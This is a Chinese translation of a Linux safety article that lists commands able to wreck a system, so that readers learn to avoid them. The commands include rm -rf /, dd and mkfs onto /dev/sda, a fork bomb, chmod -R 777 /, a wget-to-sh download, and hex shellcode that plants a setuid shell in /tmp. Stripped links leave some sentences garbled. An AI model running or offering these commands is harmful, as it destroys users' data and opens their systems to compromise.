導讀:什么是最危險的 linux 命令?
本文字數:4329,閱讀時長大約: 6分鐘
什么是最危險的 Linux 命令?
有人無數次問我這個問題,我一直避免回答,因為沒有一個明確的危險的 Linux 命令清單。
你擁有的工具使你能夠控制和修改你的操作系統的每一個方面。我不是想嚇唬你,但如果你不熟悉這些命令和工具,你可以很容易地把你的系統摧毀。
想象一下家庭中的小孩子的情景。孩子有許多方法可以傷害自己。但這是否意味著不應允許孩子離開嬰兒床?那會對她的成長造成損害。
這就是父母設定界限和引導孩子的地方。不要靠近火堆,不要把手指戳到電源插座上……隨著孩子的成長和經驗的積累,她可以把爐子打開,在壁爐里生火,插上電源線。
同樣,如果你知道一些已知的風險命令,你可能會避免落入巨魔的陷阱,他們試圖欺騙你運行命令,擾亂你的系統。
當你積累了經驗,知道了這些命令和工具的含義和用法,用愚蠢和棘手的命令破壞你的系統的機會就會減少。
我的同事 Sreenath 收集了一些流行的危險 Linux 命令。讓我們看看它們是如何干掉你的 Linux 系統的。
免責警告:如果你不清楚你在做什么,請勿嘗試本文提及的這些命令,否則后果自負。
1、rm -rf /*
這個可能是在各種社交媒體上盤旋的最臭名昭著的命令。你會經常發現巨魔們在各種討論中提及這個。
命令用來刪除文件/目錄。標志-r
和-f
表示遞歸地刪除指定目錄內的所有文件。現在,如果沒有 root 權限,這個命令不會造成任何傷害。
運行 itsfoss.com 命令也不會產生任何問題,因為大多數發行版提供了一個故障安全選項。你需要指定--no-preserve-root
才能實際運行它。
-
sudo rm -rf / --no-preserve-root
然而,一個更簡單的版本可以是這樣的:
-
sudo rm -rf /*
它將開始遞歸地刪除根目錄下的所有文件,在一段時間后,你的系統會凍結,并顯示“刪除文件錯誤”。一旦重新啟動,你將被送到 grub-rescue 提示符下。
2、覆蓋你的分區
如果你熟悉文件系統,你可能知道/dev/sda
是什么。它(通常)是你的磁盤驅動器分區。>
操作符用于將其前面的命令的輸出寫到所提供的指定位置。
一旦你運行任何命令并把它寫到/dev/sda
,比如說:
-
echo "Hello" > /dev/sda
這將用Hello
字符串替換你的包含啟動系統所需的所有數據的分區。
3、把所有的東西都移到黑洞
每個 Linux 系統內都有一個黑洞。而這個黑洞就是/dev/null
。
無論你把什么東西扔進這個區域都會永遠丟失。而且,它在丟棄數據后會將寫入過程報告為成功,這是其破壞性的主要原因。
-
mv /home/user/* /dev/null
linuxhandbook.com 用來移動或重命名文件/目錄。在上面的命令中,你把家目錄內的所有文件都移到了黑洞中。雖然根系統沒有被破壞,但你所有的個人數據都會丟失。
4、格式化你的硬盤
linuxhandbook.com 是一個命令行工具,用于格式化磁盤和分區。它是一個超級方便的工具,可以為安裝的操作系統創建分區。但同樣的命令也可以格式化你的硬盤。格式化你的驅動器意味著刪除系統啟動所需的所有文件。
-
mkfs.ext3 /dev/sda
這個命令完成了它的工作,而你最終得到了一個無法恢復的混亂的系統。
5、fork 炸彈
這個看起來很可愛的特殊字符和符號的隨機組合,足以通過耗盡系統資源來凍結一個正在運行的系統。
-
:(){ :|:& };:
&
- Shell 后臺操作符。它通知 Shell 將命令放在后臺。在這里,它定義了一個叫做:
的函數,它調用自己兩次,一次在前臺,一次在后臺。這個過程不斷地重復執行,直到系統凍結。
顧名思義,它自己分叉,最終成為一個連鎖炸彈,吃掉了所有的系統資源。你將被迫重啟系統,這并不像本列表中的其他命令那樣糟糕。
6、覆蓋重要的配置文件
雖然這本身不是一個命令,但它更像是一個預防性的東西。
如上所述,>
操作符是用來向文件寫入的。它丟棄文件中已經存在的東西,并將提供的新數據寫入文件中。
-
command > config_filename
現在,如果你將一些重要的配置文件作為寫數據的地方,它將被取代內容,留下一個損壞的系統。
7、用垃圾數據替換分區
/dev/random
是 Linux 中的一個命令,它可以創建垃圾數據。把它和 linuxhandbook.com 以及你的分區結合起來,你就得到了一個可以讓你的分區著火的燃燒彈。
-
dd if=/dev/random of=/dev/sda
命令被用作一個低級別的復制工具。這里,它從/dev/random
中獲取隨機數據,并用這些垃圾替換/dev/sda
分區。
一個類似的效果是通過以下方式獲得的:
-
cat /dev/urandom > filename
這里,它從/dev/urandom
(LCTT 譯注:在 Linux 上,/dev/urandom
現在和/dev/random
的等價的 )中獲取垃圾數據并填入一個文件。如果不使用Ctrl + C
終止,該文件會占據相當大的空間,這對低端系統來說可能是災難性的。
8、將你的系統暴露給所有人
在 Linux 中,所有東西都是文件,每個 linuxhandbook.com。
你可以用 查看權限。根文件系統是不允許其他沒有權限的用戶訪問的。雖然這保證了系統的私密性和安全性,但你可以用一個命令顛覆這個系統。
-
chmod -R 777 /
上述命令將根分區上的所有文件暴露給所有人。這意味著每個使用該系統的人都有讀、寫和執行的權限。這對你的系統是不利的。
9、下載并運行惡意的內容
你如何在 Linux 中安裝軟件?你可以使用官方的軟件包管理器或隨時可以使用的軟件包,如 Deb/RPM、Snap、Flatpak 等。
然而,有些軟件是沒有打包的,它們的開發者提供了下載和運行的 Shell 腳本。以 itsfoss.com 為例:
你下載一個 Shell 文件,然后以 root 身份運行它,在你的系統中安裝一個軟件。你看出問題了嗎?
雖然它對 Homebrew 這樣的官方軟件有效,但在你像下面這樣直接運行它之前,你應該仔細檢查你所下載的 Shell 腳本的內容:
-
wget http://malicious_source -O- | sh
這樣的命令會在你的系統中下載并運行惡意腳本,這可能會破壞你的系統的安全性。
10、偽裝的命令
在 Linux 終端中,有許多方法可以運行命令。其中一種方式是十六進制編碼的命令:
-
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
-
release */
-
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
-
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
-
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
-
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
-
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
-
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”
-
“x6ex2fx73x68x00x2dx63x00”
-
“cp -p /bin/sh /tmp/.beyond; chmod 4755
-
/tmp/.beyond;”;
雖然它看起來很花哨,但這是 命令的一個編碼版本。它的效果與運行前面的命令相同。因此,在從互聯網上復制和粘貼這些花哨的命令時,要小心謹慎。
總結
pebkac
有一個著名的計算機術語 PEBKAC:“問題存在于鍵盤和椅子之間(problem exists between keyboard and chair)”。
因為歸根結底,還是要靠用戶(你)來保證你不會因為盲目地運行任何危險的命令而破壞系統。
UNIX 的工作不是要阻止你搬起石頭砸你自己的腳。如果你選擇這樣做,那么 UNIX 的工作就是以它所知道的最有效的方式將石頭砸到腳上。
而這句話同樣適用于 Linux。你可以完全控制你的操作系統。你選擇做什么,完全取決于你。
我建議做這些事情以確保更安全的體驗。
? 嘗試并理解你將要運行的命令。
? 用 Timeshift 保持你的系統設置的備份
? 用 DejaDup 保持個人數據(主目錄)的備份
正如我所說,沒有固定的危險 Linux 命令清單。還有很多可以添加到這個列表中,而且根本沒有盡頭。
我希望這能給你一些提示,告訴你為了保持 Linux 的安全,你不應該做什么。如果你有建議,請在評論區告訴我。
via:
作者: 選題: 譯者: 校對:
本文由 原創編譯, 榮譽推出
LCTT 譯者 :Xingyu.Wang
翻譯: 894.0 篇
貢獻: 2971 天